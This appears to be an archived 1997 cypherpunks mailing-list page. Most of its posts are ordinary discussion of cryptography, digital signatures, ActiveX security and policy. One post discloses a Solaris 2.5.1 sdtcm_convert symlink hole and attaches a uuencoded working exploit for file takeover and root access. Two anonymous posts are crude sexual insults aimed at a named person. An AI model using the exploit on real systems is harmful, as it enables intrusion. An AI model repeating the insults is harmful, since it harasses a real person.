Policy, Comptroller of Public Accounts, Texas Mr. Dean F. Andal, Member, State Board of Equalization, Second District, California Mr. Walter Hellerstein, Attorney, Southerland, Asbill & Brennan 3:00 - 3:30: Coffee 3:30 - 6:00: INDUSTRY PANEL Moderator: Professor Richard Pomp, University of Connecticut Law School Speakers: Ms. Jeanne Goulet, Director of Tax, IBM Credit, IBM Ms. Allyn Yamanouchi, Vice President and Global Technology Tax Counsel, CITIBANK Mr. James Eads, Jr., and Mr. Paul Nolan, Legal Division, AT&T Mr. Bruce Reid, Director of State and Local Tax, MICROSOFT Ms. Ellen Fishbein, Assistant General Counsel, AMERICA ONLINE =============== Registration and Fees: The fee for this program is $500.00. An academic or government employee discount is available. That fee is $200.00. To register for the symposium please fill out and return the form below, with a check or money order made payable to Harvard University, to: Multi-Jurisdictional Taxation of Electronic Commerce Symposium Attn: Lara Becker 1563 Massachusetts Avenue Pound Hall, Room 400 Cambridge, MA 02138 Lbecker(a)law.harvard.edu Fax: 617-495-0423 Tel: 617-495-4406 ............................................................... Registration Form: 1997 Spring Symposium on Multi-Jurisdictional Taxation of Electronic Commerce, Saturday, April 5, 1997. Mr./Ms. Name (First or Given Name) (Surname or Family Name) Email Address: Title: Organization: Home Address/Work Address: Telephone Number: Fax Number: I am Paying by: Check: Money Order: --- end forwarded text ----------------- Robert Hettinga (rah(a)shipwright.com) Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/

1 0

IDEA/Strength?
by camcc＠abraxis.com 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- Is the strength, or lack thereof, of conventional PGP encryption proportional to the length of the conventional password? For example, when I encrypt conventionally, does it make any difference internally (disregarding the ability to guess the password) if I choose to use the pass phrase heyyou, or [Harris$Pizza*Axis/LilburnKfreakmaisUoui@(. Not so much the randomness of my password as the length? Do more characters give the encryption process more to work with? Thanks. Alec -----BEGIN PGP SIGNATURE----- Version: 4.5 Comment: Public key available on request or from keyservers. iQCVAgUBMw4RtCKJGkNBIH7lAQEDmwP/WANzYA3KVyL5yNyE02hYotMgR6EKPxIm Q4hP5TiZzAve29CMc972Udeb1BJU9Ow6slHbpoLREH1qlWWqNpzO3YS6X5nYrXDM NeEf4sCTxkZ/33u48rv4T0ZD69/JGQV11/GMbsI3wJjCKW57Fb8cE8ANj4dDWblm 6spqX6YDecQ= =/AVU -----END PGP SIGNATURE-----

2 1

No Subject
by Bovine Remailer 17 Dec '03

17 Dec '03

Timmy C[rook] May is the living proof that anal sex causes pregnancy. /\_/\ ( x x ) -oo0-(o o)-0oo- Timmy C[rook] May

1 0

Re: DES and RSA crypto hardware from the free world
by pgut001＠cs.auckland.ac.nz 17 Dec '03

17 Dec '03

>>I've just got the details on two new crypto chips produced by the Dutch >>company Pijnenburg Custom Chips B.V. >Were those prices 1-off? Any idea what the price would be for volume? Those are one-off prices. You'll have to contact Pijnenburg (see the address in the original message) for more details. Peter.

1 0

Clipper article in Cu Digest, #9.10, Wed 20 Feb 97
by Bill Stewart 17 Dec '03

17 Dec '03

CUD is available at URL: http://www.soci.niu.edu/~cudigest/ Here are some excerpts: >>From -- Fight Censorship <FIGHT-CENSORSHIP(a)vorlon.mit.edu> > Federal Computer Week > DOD sinks the Clipper .. > The Defense Department plans to remove the government key escrow > software from its Fortezza cards used on the Defense Message System, a > move that signals the death of the Clinton administration's > controversial Clipper initiative and one that should encourage > civilian use of the cryptographic cards. > > A DOD spokeswoman confirmed the decision to remove the key escrow but > would not provide further details. > > The DOD decision, which will be formalized in a policy expected out > shortly, is in response to the administration's decision last October > to support key recovery technology instead of the controversial > Clipper initiative. Each agency must decide how it will implement the > government's policy internally. A technical advisory committee will > develop standards for a federal key management infrastructure. ... > DOD has for years pressured civilian agencies to use government escrow > technology, but the agencies were wary of the law enforcement access. > Stephen Walker, president and chief executive officer of Trusted > Information Systems Inc. (TIS), said the policy will remove the last > remnants of the Clipper and serve as an official endorsement of key > recovery technology. > > "This is the end of Clipper,'' Walker said. "This is a very positive > move because it puts the Defense Department in a posture of using > commercial products instead of Defense Department products. If the > Defense Department is moving away from key escrow, no one else is > going to feel obligated to have key escrow either." .... > Sources said DOD's move was targeted to increase the appeal of the > Fortezza card to users outside DOD. > > Bruce McConnell, chief of information policy at the Office of > Management and Budget, said the move would make Fortezza cards more > attractive, but he cited different reasons. "It does encourage people > to use it because it moves toward the commercial approach that's being > taken," he said. # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts(a)ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.)

1 1

RRE: Risks on digital signatures, several other topics
by E. Allen Smith 17 Dec '03

17 Dec '03

From: IN%"rre(a)weber.ucsd.edu" 21-FEB-1997 23:42:52.06 From: Phil Agre <pagre(a)weber.ucsd.edu> =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= This message was forwarded through the Red Rock Eater News Service (RRE). Send any replies to the original author, listed in the From: field below. You are welcome to send the message along to others but please do not use the "redirect" command. For information on RRE, including instructions for (un)subscribing, send an empty message to rre-help(a)weber.ucsd.edu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Date: Fri, 21 Feb 1997 08:58:34 -0800 (PST) From: risks(a)csl.sri.com Subject: RISKS DIGEST 18.83 RISKS-LIST: Risks-Forum Digest Friday 21 February 1997 Volume 18 : Issue 83 ---------------------------------------------------------------------- Date: Wed, 19 Feb 1997 17:12:43 -0500 From: Edward Felten <felten(a)CS.Princeton.EDU> Subject: Myths about digital signatures There has been a lot of public discussion lately about digital signatures on mobile code. Several myths permeate this discussion. I'd like to puncture three of them. * Myth 1: Digital signatures let you know who wrote a program, or where it came from. Reality: Anybody can remove the author's signature or add their own signature. At best, a signature tells you that the signer endorsed the program recently. Endorsement is more useful than authorship anyway; most people care more about whether their corporate MIS department has endorsed a program than about who wrote the program. * Myth 2: If X has signed a program, and I trust X, then it is safe for me to download the program. Reality: There have been plenty of incidents of reputable and well-meaning organizations spreading viruses or serving as the base for security attacks. Before accepting a download from X, it's not enough to ask "Do I trust X?" One must also ask questions like "How carefully has X managed his cryptographic keys?" and "What is the probability that X's security has been penetrated?" * Myth 3: Digital signatures provide accountability; if a program signed by X is malicious, the victim can sue X. Reality: Suppose I accept a download signed by X. A few seconds later there is some mysterious network traffic and then my disk gets wiped clean. X could be the culprit. Or X could be innocent --- that code I downloaded from Y three days ago could have waited a while before detonating. Or somebody could have exploited a bug somewhere else in my system. I have *no evidence* to distinguish these cases --- all the evidence disappeared when my disk was erased. (We can assume the attacker is smart enough to remove the hostile code from his site immediately after the attack.) If the attacker doesn't erase my disk, I can't trust the apparent evidence anyway. After all, the attacker had free run of my system and could have planted whatever "evidence" he liked. The evidence, whether real or not, will collapse in the first cross-examination. Signatures can provide accountability, but only with much more rigorous logging and auditing than today's consumer software provides. ------------------------------ Date: Mon, 17 Feb 1997 08:21:44 -0500 From: amesr(a)interlog.com (Robert Ames) Subject: Forgeries and Dejanews It seems that an effective way to attack an individual is to forge a Usenet article purportedly from that person, and to include in the article "admissions" or bigotted statements which would reflect poorly on his character. The forged article is then collected by Dejanews and similar organizations and archived. It becomes part of the Dejanews "profile" on the supposed author. I was one of the victims of a series of forgeries in August and September, 1996. The perpetrator originated at ixc.net in New York, and then telnetted to news.uu.net and other open news servers to post as the victim. Although I cancelled the forged article and posted a PGP-signed repudiation, the article was still archived at Dejanews, and was recently used by someone to "prove" that I had made statements which put me in a bad light. Since this is a general problem which can impact on anyone, I feel it needs to be discussed. Perhaps news archivers should be under the same scrutiny as credit reporting agencies. ------------------------------ Date: Wed, 19 Feb 1997 19:58:39 -0500 From: Edward Felten <felten(a)CS.Princeton.EDU> Subject: Mobile code security mailing list We are starting a moderated mailing list to discuss security issues relating to mobile code systems like Java, ActiveX, and JavaScript. To join, send e-mail to majordomo(a)cs.princeton.edu; your message body should contain the single line "subscribe secure-mobile-code" or if your desired TO: address is different from your FROM: address, "subscribe secure-mobile-code" (append your TO: address here) ------------------------------ Date: Wed, 19 Feb 1997 13:33:51 -0500 From: Paul Robinson <foryou(a)erols.com> Subject: ActiveX basic problem As it has been pointed out in *Dr. Dobbs' Journal*, an ActiveX control is no less than a Windows Dynamic Link Library (DLL) that has all the power and capability of any other DLL loaded on a Windows system, i.e. any damn thing it wants to do. This alone should ring the death knell on use of ActiveX for anything other than perhaps on an intranet behind a firewall that does not allow any incoming traffic, and maybe not even then. Paul Robinson, Evergreen Software ------------------------------ Date: Fri, 21 Feb 1997 16:06:20 +0000 (GMT) From: Lloyd Wood <L.Wood(a)surrey.ac.uk> Subject: MS on the CCC ActiveX virus (fwd) Here is Microsoft's official line on the security of ActiveX. This leaves a very nasty taste in my mouth. The onus on the users to be responsible with their tools, as usual, rather than on the developers to create safer tools. Lloyd <URL:http://www.sat-net.com/L.Wood/><L.Wood(a)ieee.org>+44-1483-300800x3435 ---------- Forwarded message ---------- Date: Fri, 21 Feb 1997 10:31:18 -0500 >From: glen mccready <glen(a)qnx.com> Subject: MS on the CCC ActiveX virus Forwarded-by: garman(a)phs.k12.ar.us (Jason Garman) >From: Site Builder Network <sbn(a)MICROSOFT.COM> Subject: SBN Wire: News Flash Dear Site Builder Network Member, Tomorrow, Microsoft will be posting the attached letter to our web site, and sending it out to the Internet Explorer community. In it, Brad Silverberg addresses head-on the recent security questions facing the industry regarding malicious, unsigned controls. We know this issue is important to you and your customers, and wanted to give you a heads-up. For more information, check out http://www.microsoft.com/security Tod Nielsen, General Manager, Developer Relations Group = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = >From the Office of Brad Silverberg Senior Vice President Microsoft Corporation 1 Microsoft Way Redmond, WA 98052 Dear Internet Users Everywhere: You may have heard reports about a malicious software program created and demonstrated recently by the Chaos Computer Club (CCC) in Hamburg, Germany. I want to personally assure you that Microsoft(R) Internet Explorer 3.0 has the appropriate safeguards to protect against this type of threat. By using its default security level (High) that comes pre-set, Internet Explorer 3.0 will not download and run any "unsigned" control such as the one from the CCC. The CCC demonstrated its malicious executable code running on Microsoft Internet Explorer 3.0, though they could just as easily have demonstrated a similar attack on any other browser. While it is unfortunate that hackers have created this harmful program, it does point out the need for users to act cautiously and responsibly on the Internet, just as they do in the physical world. Malicious code can be written and disguised in many ways - within application macros, Java(tm) applets, ActiveX(tm) controls, Navigator plug-ins, Macintosh(R) applications and more. For that reason, with Internet Explorer 3.0, Microsoft has initiated efforts to protect users against these threats. Microsoft Authenticode(tm) in Internet Explorer 3.0 is the only commercial technology in use today that identifies who published executable code you might download from the Internet, and verifies that it hasn't been altered since publication. If users choose to change the default security level from High to Medium, they still have the opportunity to protect themselves from unsigned code. At a Medium setting, prior to downloading and running executable software on your computer, Microsoft Internet Explorer presents you with a dialog either displaying the publisher's certificate, or informing you that an "unsigned control" can be run on your machine. At that point, in either case, you are in control and can decide how to proceed. As you know, Microsoft is committed to giving users a rich computing experience while providing appropriate safeguards. Most useful and productive applications need a wide range of system services, and would be seriously limited in functionality without access to these services. This means that many Java applications will have to go "outside the sandbox" to provide users with rich functionality. By signing code, a developer can take advantage of these rich services while giving users the authentication and integrity safeguards they need. Other firms such as Sun and Netscape are following our lead, and have announced that they will also provide code signing for Java applets. Microsoft will also be providing an enhanced Java security model in the future, giving users and developers flexible levels of functionality and security. Microsoft takes the threat of malicious code very seriously. It is a problem that affects everyone in our industry. This issue is not tied to any specific vendor or group of people. All of us that use computers for work, education, or just plain fun need to be aware of potential risks and use the precautions that can insure we all get the most out of our computers. For this reason, we are committed to providing great safeguards against these types of threats in Internet Explorer. We expect hackers and virus writers to get increasingly sophisticated but we pledge we'll continue to keep you and us one step ahead of them. Brad Silverberg P.s. Be sure to check out our Web Executable Security Advisor at http://www.microsoft.com/security ------------------------------ Date: Thu, 20 Feb 1997 10:43:36 -0800 From: Travis Winfrey <travis(a)lombard.com> Subject: Microsoft "defends" ActiveX The site http://www.news.com/News/Item/0,4,8096,00.html?latest discusses the MS response to the activeX/quicken bug where downloaded activeX applets can actually transfer real money out of your bank account (bug not applicable in America). They point to this URL: http://www.microsoft.com/security/ which has this instant-classic paragraph, emphasis not in the original: While the Java sandbox enforces a high degree of security, it does not let users download and run exciting multimedia games or other full-featured programs on their computers. <EM> As a result, users may want to download code that has full access to their computers' resources. </EM> ------------------------------ Date: 15 Aug 1996 (LAST-MODIFIED) From: RISKS-request(a)csl.sri.com Subject: Abridged info on RISKS (comp.risks) The RISKS Forum is a MODERATED digest. Its Usenet equivalent is comp.risks. => SUBSCRIPTIONS: PLEASE read RISKS as a newsgroup (comp.risks or equivalent) if possible and convenient for you. Or use Bitnet LISTSERV. Alternatively, (via majordomo) DIRECT REQUESTS to <risks-request(a)csl.sri.com> with one-line, SUBSCRIBE (or UNSUBSCRIBE) [with net address if different from FROM:] or INFO [for unabridged version of RISKS information] => The INFO file (submissions, default disclaimers, archive sites, .mil/.uk subscribers, copyright policy, PRIVACY digests, etc.) is also obtainable from http://www.CSL.sri.com/risksinfo.html ftp://www.CSL.sri.com/pub/risks.info The full info file will appear now and then in future issues. *** All contributors are assumed to have read the full info file for guidelines. *** => SUBMISSIONS: to risks(a)CSL.sri.com with meaningful SUBJECT: line. => ARCHIVES are available: ftp://ftp.sri.com/risks or ftp ftp.sri.com<CR>login anonymous<CR>[YourNetAddress]<CR>cd risks or http://catless.ncl.ac.uk/Risks/VL.IS.html [i.e., VoLume, ISsue]. The ftp.sri.com site risks directory also contains the most recent PostScript copy of PGN's comprehensive historical summary of one liners: get illustrative.PS ------------------------------ End of RISKS-FORUM Digest 18.83 ************************ Standard Risks reuse disclaimer: Reused without explicit authorization under blanket permission granted for all Risks-Forum Digest materials. The author(s), the RISKS moderator, and the ACM have no connection with this reuse.

1 0

Myths of Digital Signatures: RISKS article by Ed Felten
by Bill Stewart 17 Dec '03

17 Dec '03

Ed Felten has an article in RISKS Digest, Volume 18, Issue 83, http://catless.ncl.ac.uk/Risks/18.83.html called "Myths about digital signatures". It's focused on the "Microsoft Signed This ActiveX Applet So It Must Be Safe" delusion. Nothing we haven't heard before, but a good summary. He's also announcing a mailing list on security of Java/ActiveX/etc. =================================================== Mobile code security mailing list Edward Felten <felten(a)CS.Princeton.EDU> Wed, 19 Feb 1997 19:58:39 -0500 We are starting a moderated mailing list to discuss security issues relating to mobile code systems like Java, ActiveX, and JavaScript. To join, send e-mail to majordomo(a)cs.princeton.edu; your message body should contain the single line "subscribe secure-mobile-code" or if your desired TO: address is different from your FROM: address, "subscribe secure-mobile-code" (append your TO: address here) ================================================================== # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts(a)ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.)

1 0

Re: Forgery detection
by nobody＠REPLAY.COM 17 Dec '03

17 Dec '03

Timmy `C' Maya's 16Kb brain's single convolution is directly wired to his rectum for input and his T1 mouth for output. That's 16K bits, not bytes. Anal intercourse has caused extensive brain damage. o-:^>___? Timmy `C' Maya `~~c--^c'

1 0

Re: IDEA/Strength?
by E. Allen Smith 17 Dec '03

17 Dec '03

From: IN%"stewarts(a)ix.netcom.com" "Bill Stewart" 22-FEB-1997 03:05:51.28 >At 04:21 PM 2/21/97 -0500, Alec wrote: >>Is the strength, or lack thereof, of conventional PGP encryption >>proportional to the length of the conventional password? >Sure, up to 128 bits of entropy. Go check out pgpcrack. Another way to put it is that the length places a _maximum_ on the entropy; no more than 7 bits (unless PGP's interface can deal with control/etcetera keys) minus a fractional bit (for characters like delete) per character. Of course, simply expanding a passphrase of "a" to "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" won't do you much good... but most non-pathological passphrases will expand in entropy as they expand in length. (There is the consideration, however, that a lengthy passphrase may need to be in alphabetical characters, as opposed to alphanumeric, due to human memory limitations. If you didn't/don't have that, then even a completely random over-19-character long passphrase (enough to be more than 128 effective bits going in) could be of assistance; greater length makes it more likely that someone observing you will miss enough of the passphrase to make a search impractical.) -Allen

2 1

No Subject
by stewarts＠ix.netcom.com 17 Dec '03

17 Dec '03

CC: From: stewarts(a)ix.netcom.com (Bill Stewart) Subject: 167-digit number factored X-Mailer: Mozilla/2.1 (compatible; Opera/2.1; Windows 95) The article's gotten a bit garbled through replies, but this was on sci.crypt. > In article <phrE5EDtw.D1w(a)netcom.com> phr(a)netcom.com (Paul Rubin) writes: > >In article <5dna0l$nrl(a)arthur.cs.purdue.edu>, > >Samuel S Wagstaff <ssw(a)cs.purdue.edu> wrote: > > >>On Tuesday, 4 February 1997, we completed the factorization of a > >>composite number of 167 digits, one of the `More Wanted' factorizations > >>of the Cunningham Project. It is: > >> > >>3,349- = (3^349 - 1)/2 = c167 = p80 * p87 > >> > > >Congratulations.... was this factorization much easier than > >factoring a general 167 (or 160) digit number? > > Yes, this c167 is much easier. I just finished the 136-digit number > > n = (2^454 - 2^341 + 2^227 - 2^114 + 1)/13 > > (a divisor of (2^1362 + 1)/(2^454 + 1)). The sieving took > 85 machine-days (about two weeknights) on a network of 60 SGI machines, > and took advantage of n's representation as a polynomial in 2^113. > Last year's factorization of RSA130 (130 digits) took 6 calendar-months > to sieve, at multiple sites. By the way, the new factorization is > n = p49 * p88, where > > p49 = 2393102462756185953833037662530180237989024296581 > p88 = 14952485345141425227257136559467580083134337 \ > 51379919088823926933276083374444560702796609 > > The c167 factorization of (3^349 - 1)/2 was about as hard > as doing a general number around 115-120 digits. > -- > Peter L. Montgomery pmontgom(a)cwi.nl San Rafael, California > > A mathematician whose age has doubled since he last drove an automobile. >

1 0

Re: Photos Digitized and Theyre Done Dirt Cheap!
by Evan Platt (IN3501) 17 Dec '03

17 Dec '03

Attn: you fell victim to this persons abuse of Internet E-Mail. You can help stop him by doing two things: 1. do NOT use his service. Find somewhere else to get photos scanned. 2. Forward a COMPLETE copy of his message with all headers intact to postmaster@aol.com,abuse@aol.com,tosadvisor@aol.com,stevecase@aol.com,root@a ol.com This will make sure that AOL knows you do NOT want to receive this persons crap, and they will shut down his account. Thank you for listening, and help stop SPAM! At 01:26 PM 2/21/97 -0500, Bulkyman(a)aol.com wrote: >Photos Digitized and Theyre Done Dirt Cheap!

1 0

Security hole in Solaris 2.5 (sdtcm_convert) + exploit
by Cristian SCHIPOR 17 Dec '03

17 Dec '03

Sat Feb 22 15:25:48 EET 1997 Romania Another hole in Solaris I have found a security hole in sdtcm_convert on Solaris 2.5.1. sdtcm_convert - calendar data conversion utility - allows any user to change the owner for any file (or directory) from the system or gain root access. The exploit is very simple. Change the permision mode of your calendar file (callog.YOU) from /var/spool/calendar directory (usual r--rw----) and run sdtcm_convert. sdtcm_convert 'll observe the change and 'll want to correct it (it 'll ask you first). You have only to delete the callog file and make a symbolic link to a target file and your calendar file and said to sdtcm_convert 'y' (yes). sdtcm_convert 'll make you the owner of target file ... A simple way to correct this is to get out suid_exec bit from sdtcm_convert I made an exploit, so you have to extract the text, uudecode it, and exec a 'tar -xf exploit.tar'. You'll get the files in exploit_dir. Cristian Schipor - Computer Science Faculty - Bucharest - Romania Email: skipo(a)math.pub.ro skipo(a)sundy.cs.pub.ro skipo(a)ns.ima.ro Phone: (401) 410.60.88 begin 600 exploit.tar M97AP;&]I=%]D:7(O4D5!1$U% M M # Q,# V,# ,# P,#0V, P,# P-#4W # P,# P,# Q,#(Q M # V,S S-3<Q,3<W # P,30U-#( , M M !U<W1A<@ P,'-K:7!O M <W1U9#, M P,# P,#0P # P,# R,#< M M M M J2&]W('1O(&UA:V4@82!S:6UP;&4@8V%L;&]G M(&9I;&4J"@I)9B!Y;W4@9&]N="!H879E(&$@+W9A<B]S<&]O;"]C86QE;F1A M<B]C86QL;V<N64]5(&5D:70@8V%L;&]G+F5X86UP;&4L"G)E<&QA8V4@)W-K M:7!O)R!W:71H('EO=7(@=7-E<B!N86UE(&%N9" G<W5N9'DN8W,N<'5B+G)O M)R!W:71H('EO=7(*;6%C:&EN92!N86UE("AT<GD@9FER<W0@=&AE('-H;W)T M(&YA;64L(&5X86UP;&4Z('-U;F1Y(&%N9"!I9B!Y;W4G;&P@:&%V90IT<F]U M8FQE<VAO=&EN9W,@=')Y('1H92!L;VYG(&YA;64L(&5X86UP;&4@<W5N9'DN M8W,N<'5B+G)O*2X@069T97(@=&AA= IC;W!Y('1H92!N97<@8V%L;&]G(&9I M;&4@:6X@+W9A<B]S<&]O;"]C86QE;F1A<B]C86QL;V<N64]54E]54T527TY! M344L(')U;@IO;F-E('-D=&-M7V-O;G9E<G0@=VET:"!Y;W5R('5S97(@;F%M M92 H97AA;7!L92!S9'1C;5]C;VYV97)T('-K:7!O*0IA;F0@=V%I="!F;W(@ M8V]R<F5C=&EO;G,N($YO=R!Y;W4@87)E(')E861Y('1O(')U;B!T:&4@97AP M;&]I="X* M M M M M M M M M M M 97AP;&]I=%]D:7(O8V%L;&]G+F5X86UP;&4 M M # Q,# W,# ,# P,#0V, P,# P-#4W # P,# P M,# Q,S(P # V,S S-38W-#0T # P,38U,#4 , M M !U<W1A<@ P M,'-K:7!O <W1U9#, M P,# P,#0P # P,# R,#< M M M M !697)S:6]N.B T"BHJ*BH@<W1A<G0@ M;V8@;&]G(&]N($9R:2!$96,@(#8@,30Z,#<Z-#,@,3DY-B J*BHJ"@HH8V%L M96YD87)A='1R:6)U=&5S("@B+2\O6$%024$O0U-!+T-!3$%45%(O+TY/3E-' M34P@06-C97-S($QI<W0O+T5.(BPB,3 Z86-C97-S7VQI<W0B+")W;W)L9#HR M(BD**"(M+R]805!)02]#4T$O0T%,05144B\O3D].4T=-3"!#86QE;F1A<B!. M86UE+R]%3B(L(C4Z<W1R:6YG(BPB<VMI<&] <W5N9'DN8W,N<'5B+G)O(BD* M*"(M+R]805!)02]#4T$O0T%,05144B\O3D].4T=-3"!#86QE;F1A<B!/=VYE M<B\O14XB+"(V.G5S97(B+")S:VEP;T!S=6YD>2YC<RYP=6(N<F\B*0HH(BTO M+UA!4$E!+T-302]#04Q!5%12+R].3TY31TU,($-H87)A8W1E<B!3970O+T5. M(BPB-3IS=')I;F<B+")#+DE33RTX.#4Y+3$B*0HH(BTO+UA!4$E!+T-302]# M04Q!5%12+R].3TY31TU,($1A=&4@0W)E871E9"\O14XB+"(W.F1A=&5?=&EM M92(L(C$Y.38Q,C V5#$R,#<T,UHB*0HH(BTO+UA!4$E!+T-302]#04Q!5%12 M+R].3TY31TU,(%!R;V1U8W0@261E;G1I9FEE<B\O14XB+"(U.G-T<FEN9R(L M(BTO+T14+R].3TY31TU,($-A;&5N9&%R(%!R;V1U8W0@5F5R<VEO;B Q+R]% M3B(I"B@B+2\O6$%024$O0U-!+T-!3$%45%(O+TY/3E-'34P@5F5R<VEO;B\O M14XB+"(U.G-T<FEN9R(L(BTO+UA!4$E!+T-302]615)324].,2].3TY31TU, M($-302!697)S:6]N(#$O+T5.(BD**0H M M M M M M M 97AP;&]I=%]D:7(O;W)A;F=E+F, M M # Q,# V,# ,# P,#0V, P,# P-#4W M # P,# P,# Q,C0V # V,S S-38W,S(R # P,34S,#< , M M !U M<W1A<@ P,'-K:7!O <W1U9#, M P,# P,#0P # P,# R,#< M M M M C:6YC;'5D92 \<W1D:6\N M:#X*(VEN8VQU9&4@/'-Y<R]T>7!E<RYH/@HC:6YC;'5D92 \<WES+W-T870N M:#X*(VEN8VQU9&4@/'5N:7-T9"YH/@H*(V1E9FEN92!P871H(" B+W9A<B]S M<&]O;"]C86QE;F1A<B]C86QL;V<N(@H*"G9O:60@;6%I;BAI;G0@87)G8RP@ M8VAA<B J87)G=EM=*0I["FEN="!P:60L9FEL961E<ULR73L*1DE,12 J9CL* M<W1R=6-T('-T870@:6YF;SL*;&]N9R!I.PIC:&%R('1A<F=E=%LQ,CA=+'-H M:69T6S$R.%T["@D*"7-T<F-P>2AT87)G970L87)G=ELQ72D["@ES=')C<'DH M<VAI9G0L<&%T:"D["@ES=')C870H<VAI9G0L87)G=ELR72D["@EI9BAP:7!E M*&9I;&5D97,I*0H)>PH)"7!E<G)O<B@B8V%N="!C<F%T92!P:7!E7&XB*3L* M"0EE>&ET*# I.PH)?0D*"6EF*'!I9#UF;W)K*"D]/3 I"@E["@D)9F]R*&D] M,#MI/#,P,# P,# P.VDK*RD["@D)=6YL:6YK*'-H:69T*3L*"0ES>6UL:6YK M*'1A<F=E="QS:&EF="D["@D)=W)I=&4H9FEL961E<ULQ72PB>5QN(BQS:7IE M;V8H(GE<;B(I*3L*"7T)"0D)"@EE;'-E( H)>PH)"6-L;W-E*# I.PH)"61U M<"AF:6QE9&5S6S!=*3L*"0ES>7-T96TH(FQE;6]N(BD["@D)<W1A="AT87)G M970L)FEN9F\I.PH)"6EF*&EN9F\N<W1?=6ED/3UG971U:60H*2D@<')I;G1F M*")#3TQ,($D@9&ED($E4("$A(5QN(BD["@E]"@D*?0H M M M M M M M M 97AP;&]I=%]D:7(O=&AE9FER<W0 M M # Q,# W,# ,# P,#0V, P M,# P-#4W # P,# P,# P-S0W # V,S S-38W,S,R # P,34T-3( , M M M !U<W1A<@ P,'-K:7!O M<W1U9#, P,# P,#0P # P,# R M,#< M M M O8FEN+V5C:&\@ M(F]R86YG92YC("T^(&]R86YG92(*9V-C("UO(&]R86YG92!O<F%N9V4N8PH* M+W5S<B]U8V(O=VAO86UI(#X@=V@*<F5A9"!54T52(#P@+B]W: H*(W=A=&-H M:6YG(&9O<B!C86QL;V<@9FEL92!I9B!I="!I<VYT('=I;&P@<W1O< II9B A M('1E<W0@+68@+W9A<B]S<&]O;"]C86QE;F1A<B]C86QL;V<N)%5315([('1H M96X*(" O8FEN+V5C:&\@(DD@8V%N="!F;W5N9"!C86QL;V<@9FEL92X@4&QE M87-E(')E860@4D5!1$U%(&%N9"!C<F5A=&4@:70B"B @97AI=#L*9FD*"B]B M:6XO96-H;R B=VAA="=S('1H92!T87)G970@/S\_(@IR96%D(%1!4D=%5 H* M+V)I;B]E8VAO("]B:6XO8VAM;V0@,# P("]V87(O<W!O;VPO8V%L96YD87(O M8V%L;&]G+B154T52(#YL96UO;@HO8FEN+V5C:&\@+W5S<B]D="]B:6XO<V1T M8VU?8V]N=F5R=" D55-%4B ^/FQE;6]N"B]B:6XO8VAM;V0@-S P("XO;&5M M;VX*"BXO;W)A;F=E("1405)'150@)%5315(* M M M M M M M M M M M M M M M M M M M M M M I end

3 2

Re: DES Crack Hype
by earle＠zero.genx.net 17 Dec '03

17 Dec '03

# > > > For instance, New Media Laboratories provides no source code for their # > > > software, nor any type of documentation to track what it 'should' be # > > > doing vs. what it 'is' doing. # > > # > > I had no difficulty obtaining source from them for benchmarking/porting # > > reasons. I do freely admit that there is a lack of documentation. Let's clear a few things up right off the bat here. This whole thing was done strictly out of complete boredom with the participation of a small group of people, mainly online friends. Needless to say it has grown at a seemingly exponential rate, putting us somewhere in the ballpark of having a "real shot" at this. Source code was initially released on a very early version of the RC5-client, after a half dozen or so rogue clients started up, we decided to quickly strop distributing source code until the whole client->server protocol could be devised "the right way".. Source code for "current" client will be released as well, hopefully very soon now. Well documentation for what it is doing? It's uh, doing some math or something; that's retarded. Documentation for running? Well, I suppose anyone unfamiliar with normal ``man(1)'' style syntaxing would find it cryptic at best, but it should be fairly straight forward. Now that there actually seems to be extensive participation in this, we're doing a FAQ on the website. Hopefully this will alleviate alot of this. # > I have had no difficulty in obtaining silence in response to my # > email regarding New Media Labaoratories and their software. # > When I received your post, I was on the verge of deciding that their # > silence was an indication that they wanted me to consider myself their # > official spokesperson. # > That would have been fun. Generally I dont waste my time dealing with such ludicrous issues. You people should all realize, that no matter what you do, no matter how you do it, as soon as it hit's mailing lists or newsgroups, someone has opinions about it, as well as "a better way of doing it". Well whatever, it's all just a monumental waste of bandwidth. # > # > > > It reports results which are obviously # > > > in error, and there is no way to divine the source or cause of those # > > > false results. If you are speaking of the website statistics, well I'm not even going to get involved in this. I'm working on "doing it right" as time permits. I didnt have much to do with the one that is up there now. # > # > However, I am referring to the stats that I get on my own machine after # > the keys have been 'checked'. I had one message telling me, "Keyspace # > exhausted in 243.12 minutes." The only problem is that it actually took # > slightly under an hour. If it is wrong about the time, then how can I # > be expected to believe that it is right about the keys being checked? This is due to the fact that you have a bum client :) New clients, (all compiles are being verified by me before put online) are becomming available now. Proxies for all of the platforms we're supporting will be available too; caching proxies underway as well. The vast majority of the initial clients were not ported by my me. # > > A second generation of key serv statistics reporting with wiz-bang # > > graphics and other cool crap can be expected by the end of this # > > weekend. Uh, terrific. # > # > This is precisely my point. None of the people that are running these # > programs on our machines have any way of knowing just exactly what is # > taking place here. # > <crap deleted> I'm getting more and more distressed about this utter waste of bandwidth the further down I get here. I will put specifics on how the server assigns keyspace onto the website in due time. Frankly, I do not expect, or care, to be the one to break this key. I in no way, shape or form, give unfair advantages to any of the participants. Keys are assigned, they are not ranked and assigned based on any preference whatsoever. This is pretty ridiculous. # > # > I was impressed with the genx homepage and the number of platforms to # > which the software had been ported. The software itself was ported to # > Win95 with at least enough competence to do 'something', as opposed to # > requiring me to reinvent the wheel in order to get it to run. # > But I still don't know what it does, in fact, do, or if I am just # > pissing in the wind by running it. (Or if it was written by the same # > guys who killed Kennedy). # > # > So, although I appreciate your efforts, until I find a basis for # > deciding otherwise, I will be using the Orange Crayola to connect # > you on my chart to the 